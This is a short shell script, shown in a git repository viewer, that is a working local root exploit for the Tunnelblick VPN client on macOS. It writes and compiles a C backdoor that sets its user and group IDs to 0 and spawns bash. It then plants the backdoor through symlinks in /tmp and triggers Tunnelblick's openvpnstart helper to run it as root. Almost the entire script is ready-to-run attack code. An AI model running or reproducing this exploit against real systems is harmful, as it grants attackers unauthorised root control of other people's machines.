summaryrefslogtreecommitdiffstats
path: root/pwnnel-blicker-for-kids.sh
blob: bc1a336792d745e3b2ce137c4b49568ee452515c (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh
echo "[+] Making vulnerable directory."
mkdir -pv /tmp/pwn/openvpn/openvpn-0

echo "[+] Preparing payload."
cat > /tmp/pwn/backdoor.c <<_EOF
#include <unistd.h>
#include <sys/stat.h>
#include <stdio.h>

int main()
{
	printf("[+] Cleaning up.\n");
	system("rm -rfv /tmp/pwn");
	printf("[+] Getting root.\n");
	setuid(0);
	setgid(0);
	execl("/bin/bash", "bash", NULL);
}
_EOF
gcc -o /tmp/pwn/root /tmp/pwn/backdoor.c

echo "[+] Creating symlinks."
ln -s -v -f /tmp/pwn/root /tmp/pwn/openvpn/openvpn-0/openvpn
ln -s -v -f /Applications/Tunnelblick.app/Contents/Resources/openvpnstart /tmp/pwn/start

echo "[+] Triggering vulnerable program."
exec /tmp/pwn/start OpenVPNInfo 0